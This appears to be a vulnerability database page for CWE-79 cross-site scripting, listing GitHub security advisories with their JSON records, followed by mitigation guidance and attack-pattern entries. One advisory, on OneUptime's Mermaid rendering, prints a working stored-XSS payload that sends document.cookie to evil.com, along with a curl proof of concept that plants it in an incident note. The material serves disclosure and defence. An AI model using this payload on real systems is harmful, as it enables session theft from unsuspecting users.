Common Weakness Enumeration

CWE-79

Allowed

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Abstraction: Base · Status: Stable

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

67071 vulnerabilities reference this CWE, most recent first.

GHSA-WVF7-C4V8-CMJ9

Vulnerability from github – Published: 2024-09-04 18:30 – Updated: 2024-09-04 21:30
VLAI
Details

An issue was discovered in za-internet C-MOR Video Surveillance 5.2401 and 6.00PL01. Due to improper input validation, the C-MOR web interface is vulnerable to persistent cross-site scripting (XSS) attacks. It was found out that the camera configuration is vulnerable to a persistent cross-site scripting attack due to insufficient user input validation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-45177"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-04T18:15:05Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in za-internet C-MOR Video Surveillance 5.2401 and 6.00PL01. Due to improper input validation, the C-MOR web interface is vulnerable to persistent cross-site scripting (XSS) attacks. It was found out that the camera configuration is vulnerable to a persistent cross-site scripting attack due to insufficient user input validation.",
  "id": "GHSA-wvf7-c4v8-cmj9",
  "modified": "2024-09-04T21:30:31Z",
  "published": "2024-09-04T18:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45177"
    },
    {
      "type": "WEB",
      "url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-021.txt"
    },
    {
      "type": "WEB",
      "url": "https://www.syss.de/pentest-blog/mehrere-sicherheitsschwachstellen-in-videoueberwachungssoftware-c-mor-syss-2024-020-bis-030"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WVF9-RVWQ-82V5

Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2022-05-13 01:08
VLAI
Details

Multiple cross-site scripting (XSS) vulnerabilities in REDCap before 5.1.0 allow remote attackers to inject arbitrary web script or HTML via unspecified vectors involving different modules.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-4612"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-06-17T11:38:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple cross-site scripting (XSS) vulnerabilities in REDCap before 5.1.0 allow remote attackers to inject arbitrary web script or HTML via unspecified vectors involving different modules.",
  "id": "GHSA-wvf9-rvwq-82v5",
  "modified": "2022-05-13T01:08:58Z",
  "published": "2022-05-13T01:08:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-4612"
    },
    {
      "type": "WEB",
      "url": "http://ctsi.psu.edu/wp-content/uploads/2013/03/REDCap-Release-Notes-Version5.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-WVF9-X8F3-RGPR

Vulnerability from github – Published: 2024-04-23 12:30 – Updated: 2024-04-23 12:30
VLAI
Details

The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's "How To" and "FAQ" Blocks in all versions up to, and including, 1.29 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-3491"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-23T11:15:45Z",
    "severity": "MODERATE"
  },
  "details": "The Schema \u0026 Structured Data for WP \u0026 AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin\u0027s \"How To\" and \"FAQ\" Blocks in all versions up to, and including, 1.29 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
  "id": "GHSA-wvf9-x8f3-rgpr",
  "modified": "2024-04-23T12:30:45Z",
  "published": "2024-04-23T12:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3491"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3071620/schema-and-structured-data-for-wp"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e004bba3-d281-4f84-a941-a6c5b64b9dcd?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WVG5-VJPM-H792

Vulnerability from github – Published: 2022-03-06 00:00 – Updated: 2022-03-17 00:03
VLAI
Details

Mark Text v0.16.3 was discovered to contain a DOM-based cross-site scripting (XSS) vulnerability which allows attackers to perform remote code execution (RCE) via injecting a crafted payload into /lib/contentState/pasteCtrl.js.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-25069"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-05T01:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Mark Text v0.16.3 was discovered to contain a DOM-based cross-site scripting (XSS) vulnerability which allows attackers to perform remote code execution (RCE) via injecting a crafted payload into /lib/contentState/pasteCtrl.js.",
  "id": "GHSA-wvg5-vjpm-h792",
  "modified": "2022-03-17T00:03:14Z",
  "published": "2022-03-06T00:00:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25069"
    },
    {
      "type": "WEB",
      "url": "https://github.com/marktext/marktext/issues/2990"
    },
    {
      "type": "WEB",
      "url": "https://github.com/marktext/marktext/pull/3002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WVG7-H75H-6W38

Vulnerability from github – Published: 2023-01-01 09:30 – Updated: 2023-01-09 18:30
VLAI
Details

A vulnerability classified as problematic was found in Zenoss Dashboard up to 1.3.4. Affected by this vulnerability is an unknown functionality of the file ZenPacks/zenoss/Dashboard/browser/resources/js/defaultportlets.js. The manipulation of the argument HTMLString leads to cross site scripting. The attack can be launched remotely. Upgrading to version 1.3.5 is able to address this issue. The name of the patch is f462285a0a2d7e1a9255b0820240b94a43b00a44. It is recommended to upgrade the affected component. The identifier VDB-217153 was assigned to this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-25063"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-01T09:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as problematic was found in Zenoss Dashboard up to 1.3.4. Affected by this vulnerability is an unknown functionality of the file ZenPacks/zenoss/Dashboard/browser/resources/js/defaultportlets.js. The manipulation of the argument HTMLString leads to cross site scripting. The attack can be launched remotely. Upgrading to version 1.3.5 is able to address this issue. The name of the patch is f462285a0a2d7e1a9255b0820240b94a43b00a44. It is recommended to upgrade the affected component. The identifier VDB-217153 was assigned to this vulnerability.",
  "id": "GHSA-wvg7-h75h-6w38",
  "modified": "2023-01-09T18:30:19Z",
  "published": "2023-01-01T09:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25063"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zenoss/ZenPacks.zenoss.Dashboard/pull/130"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zenoss/ZenPacks.zenoss.Dashboard/commit/f462285a0a2d7e1a9255b0820240b94a43b00a44"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zenoss/ZenPacks.zenoss.Dashboard/releases/tag/1.3.5"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.217153"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.217153"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WVG9-J5FF-4M6W

Vulnerability from github – Published: 2026-07-02 12:31 – Updated: 2026-07-02 12:31
VLAI
Details

Subscriber Cross Site Scripting (XSS) in JetReviews <= 3.0.0.1 versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-57354"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T12:17:35Z",
    "severity": "MODERATE"
  },
  "details": "Subscriber Cross Site Scripting (XSS) in JetReviews \u003c= 3.0.0.1 versions.",
  "id": "GHSA-wvg9-j5ff-4m6w",
  "modified": "2026-07-02T12:31:01Z",
  "published": "2026-07-02T12:31:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57354"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/jet-reviews/vulnerability/wordpress-jetreviews-plugin-3-0-0-1-cross-site-scripting-xss-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WVGC-VF5Q-HFMP

Vulnerability from github – Published: 2024-12-09 15:31 – Updated: 2026-04-28 21:35
VLAI
Details

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ABCBiz ABCBiz Addons and Templates for Elementor allows Stored XSS.This issue affects ABCBiz Addons and Templates for Elementor: from n/a through 2.0.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-54247"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-09T13:15:43Z",
    "severity": "MODERATE"
  },
  "details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in ABCBiz ABCBiz Addons and Templates for Elementor allows Stored XSS.This issue affects ABCBiz Addons and Templates for Elementor: from n/a through 2.0.2.",
  "id": "GHSA-wvgc-vf5q-hfmp",
  "modified": "2026-04-28T21:35:22Z",
  "published": "2024-12-09T15:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54247"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/abcbiz-addons/vulnerability/wordpress-abcbiz-addons-and-templates-for-elementor-plugin-2-0-2-stored-cross-site-scripting-xss-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WVGJ-562P-M832

Vulnerability from github – Published: 2022-05-17 02:53 – Updated: 2022-05-17 02:53
VLAI
Details

Multiple components of the web tools in NetIQ Access Manager 4.1 before 4.1.2 Hot Fix 1 and 4.2 before 4.2.2 were vulnerable to Reflected Cross Site Scripting attacks which could be used to hijack user sessions: nps/servlet/frameservice, nps/servlet/webacc, roma/admin/cntl, roma/jsp/admin/appliance/devicedetail_edit.jsp, roma/jsp/admin/managementip/mgmt_ip_details_frameset.jsp, roma/jsp/admin/managementip/mgmt_ip_details_middleframe.jsp, roma/jsp/volsc/monitoring/appliance.jsp, and roma/jsp/volsc/monitoring/graph.jsp.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2016-5756"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-23T06:59:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple components of the web tools in NetIQ Access Manager 4.1 before 4.1.2 Hot Fix 1 and 4.2 before 4.2.2 were vulnerable to Reflected Cross Site Scripting attacks which could be used to hijack user sessions: nps/servlet/frameservice, nps/servlet/webacc, roma/admin/cntl, roma/jsp/admin/appliance/devicedetail_edit.jsp, roma/jsp/admin/managementip/mgmt_ip_details_frameset.jsp, roma/jsp/admin/managementip/mgmt_ip_details_middleframe.jsp, roma/jsp/volsc/monitoring/appliance.jsp, and roma/jsp/volsc/monitoring/graph.jsp.",
  "id": "GHSA-wvgj-562p-m832",
  "modified": "2022-05-17T02:53:42Z",
  "published": "2022-05-17T02:53:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-5756"
    },
    {
      "type": "WEB",
      "url": "https://www.novell.com/support/kb/doc.php?id=7017813"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WVH4-52XX-9R94

Vulnerability from github – Published: 2024-06-21 06:31 – Updated: 2024-06-24 21:33
VLAI
Details

The WP Logs Book WordPress plugin through 1.0.1 does not sanitise and escape some of its log data before outputting them back in an admin dashboard, leading to an Unauthenticated Stored Cross-Site Scripting

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-4477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-21T06:15:12Z",
    "severity": "MODERATE"
  },
  "details": "The WP Logs Book WordPress plugin through 1.0.1 does not sanitise and escape some of its log data before outputting them back in an admin dashboard, leading to an Unauthenticated Stored Cross-Site Scripting",
  "id": "GHSA-wvh4-52xx-9r94",
  "modified": "2024-06-24T21:33:18Z",
  "published": "2024-06-21T06:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4477"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/ab551552-944c-4e2a-9355-7011cbe553b0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WVH5-6VJM-23QH

Vulnerability from github – Published: 2026-03-13 20:00 – Updated: 2026-03-16 17:06
VLAI
Summary
OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: "loose")
Details

Summary

The Markdown viewer component renders Mermaid diagrams with securityLevel: "loose" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable.

Details

Mermaid configuration — Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76:

// MarkdownViewer.tsx:76
mermaid.initialize({
    securityLevel: "loose",  // Allows interactive event bindings
    // ...
});

The Mermaid documentation explicitly warns: securityLevel: "loose" allows click events and other interactive bindings in diagrams. The safe default is "strict" which strips all interactivity.

SVG injection via innerHTML — MarkdownViewer.tsx:106:

// MarkdownViewer.tsx:106
if (containerRef.current) {
    containerRef.current.innerHTML = svg;  // Raw SVG injection
}

After Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via innerHTML. Combined with securityLevel: "loose", this allows event handlers embedded in the SVG to execute.

Mermaid XSS payload:

```mermaid
graph TD
    A["Click me"]
    click A callback "javascript:fetch('https://evil.com/?c='+document.cookie)"
```​

With securityLevel: "loose", Mermaid processes the click directive and creates an SVG element with an event handler that executes the JavaScript.

PoC

# Authenticate
TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
  -H 'Content-Type: application/json' \
  -d '{"email":"user@example.com","password":"password123"}' \
  | jq -r '.token')

# Create an incident note with Mermaid XSS payload
curl -s -X POST 'https://TARGET/api/incident-note' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenantid: PROJECT_ID' \
  -d '{
    "data": {
      "incidentId": "INCIDENT_ID",
      "note": "## Root Cause Analysis\n\n```mermaid\ngraph TD\n    A[\"Load Balancer\"] --> B[\"App Server\"]\n    click A callback \"javascript:fetch('"'"'https://evil.com/?c='"'"'+document.cookie)\"\n```",
      "noteType": "RootCause"
    }
  }'

# Any user viewing this incident note will have their cookies exfiltrated
# Verify the vulnerability in source code:

# 1. securityLevel: "loose":
grep -n 'securityLevel' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx
# Line 76: securityLevel: "loose"

# 2. innerHTML injection:
grep -n 'innerHTML' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx
# Line 106: containerRef.current.innerHTML = svg

Impact

Stored XSS in any markdown-rendered field. Affects:

  1. Incident notes/descriptions — viewed by on-call engineers during incidents
  2. Status page announcements — viewed by public visitors
  3. Monitor descriptions — viewed by team members
  4. Any markdown field — the MarkdownViewer component is shared across the UI

The "loose" security level combined with innerHTML injection allows arbitrary JavaScript execution in the context of the OneUptime application.

Proposed Fix

// 1. Change securityLevel to "strict" (default safe mode):
mermaid.initialize({
    securityLevel: "strict",  // Strips all interactive bindings
    // ...
});

// 2. Use DOMPurify on the SVG output before innerHTML injection:
import DOMPurify from "dompurify";

if (containerRef.current) {
    containerRef.current.innerHTML = DOMPurify.sanitize(svg, {
        USE_PROFILES: { svg: true, svgFilters: true },
        ADD_TAGS: ['foreignObject'],
    });
}
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "oneuptime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.0.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32308"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:00:38Z",
    "nvd_published_at": "2026-03-13T19:54:42Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Markdown viewer component renders Mermaid diagrams with `securityLevel: \"loose\"` and injects the SVG output via `innerHTML`. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid\u0027s `click` directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable.\n\n### Details\n\n**Mermaid configuration \u2014 `Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76`:**\n\n```typescript\n// MarkdownViewer.tsx:76\nmermaid.initialize({\n    securityLevel: \"loose\",  // Allows interactive event bindings\n    // ...\n});\n```\n\nThe Mermaid documentation explicitly warns: `securityLevel: \"loose\"` allows click events and other interactive bindings in diagrams. The safe default is `\"strict\"` which strips all interactivity.\n\n**SVG injection via innerHTML \u2014 `MarkdownViewer.tsx:106`:**\n\n```typescript\n// MarkdownViewer.tsx:106\nif (containerRef.current) {\n    containerRef.current.innerHTML = svg;  // Raw SVG injection\n}\n```\n\nAfter Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via `innerHTML`. Combined with `securityLevel: \"loose\"`, this allows event handlers embedded in the SVG to execute.\n\n**Mermaid XSS payload:**\n\n```markdown\n```mermaid\ngraph TD\n    A[\"Click me\"]\n    click A callback \"javascript:fetch(\u0027https://evil.com/?c=\u0027+document.cookie)\"\n```\u200b\n```\n\nWith `securityLevel: \"loose\"`, Mermaid processes the `click` directive and creates an SVG element with an event handler that executes the JavaScript.\n\n### PoC\n\n```bash\n# Authenticate\nTOKEN=$(curl -s -X POST \u0027https://TARGET/identity/login\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"email\":\"user@example.com\",\"password\":\"password123\"}\u0027 \\\n  | jq -r \u0027.token\u0027)\n\n# Create an incident note with Mermaid XSS payload\ncurl -s -X POST \u0027https://TARGET/api/incident-note\u0027 \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027tenantid: PROJECT_ID\u0027 \\\n  -d \u0027{\n    \"data\": {\n      \"incidentId\": \"INCIDENT_ID\",\n      \"note\": \"## Root Cause Analysis\\n\\n```mermaid\\ngraph TD\\n    A[\\\"Load Balancer\\\"] --\u003e B[\\\"App Server\\\"]\\n    click A callback \\\"javascript:fetch(\u0027\"\u0027\"\u0027https://evil.com/?c=\u0027\"\u0027\"\u0027+document.cookie)\\\"\\n```\",\n      \"noteType\": \"RootCause\"\n    }\n  }\u0027\n\n# Any user viewing this incident note will have their cookies exfiltrated\n```\n\n```bash\n# Verify the vulnerability in source code:\n\n# 1. securityLevel: \"loose\":\ngrep -n \u0027securityLevel\u0027 Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx\n# Line 76: securityLevel: \"loose\"\n\n# 2. innerHTML injection:\ngrep -n \u0027innerHTML\u0027 Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx\n# Line 106: containerRef.current.innerHTML = svg\n```\n\n### Impact\n\n**Stored XSS in any markdown-rendered field.** Affects:\n\n1. **Incident notes/descriptions** \u2014 viewed by on-call engineers during incidents\n2. **Status page announcements** \u2014 viewed by public visitors\n3. **Monitor descriptions** \u2014 viewed by team members\n4. **Any markdown field** \u2014 the MarkdownViewer component is shared across the UI\n\nThe \"loose\" security level combined with `innerHTML` injection allows arbitrary JavaScript execution in the context of the OneUptime application.\n\n### Proposed Fix\n\n```typescript\n// 1. Change securityLevel to \"strict\" (default safe mode):\nmermaid.initialize({\n    securityLevel: \"strict\",  // Strips all interactive bindings\n    // ...\n});\n\n// 2. Use DOMPurify on the SVG output before innerHTML injection:\nimport DOMPurify from \"dompurify\";\n\nif (containerRef.current) {\n    containerRef.current.innerHTML = DOMPurify.sanitize(svg, {\n        USE_PROFILES: { svg: true, svgFilters: true },\n        ADD_TAGS: [\u0027foreignObject\u0027],\n    });\n}\n```",
  "id": "GHSA-wvh5-6vjm-23qh",
  "modified": "2026-03-16T17:06:49Z",
  "published": "2026-03-13T20:00:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-wvh5-6vjm-23qh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32308"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OneUptime/oneuptime"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/releases/tag/10.0.23"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: \"loose\")"
}

Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
Implementation Architecture and Design
  • Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
  • For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
  • Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
  • etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
  • Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • HTML body
  • Element attributes (such as src="XYZ")
  • URIs
  • JavaScript sections
  • Cascading Style Sheets and style property
Mitigation MIT-6
Architecture and Design Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Mitigation MIT-30.1
Implementation

Strategy: Output Encoding

  • Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
  • The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Mitigation MIT-31
Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
  • Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
  • Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-209: XSS Using MIME Type Mismatch

An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.

CAPEC-588: DOM-Based XSS

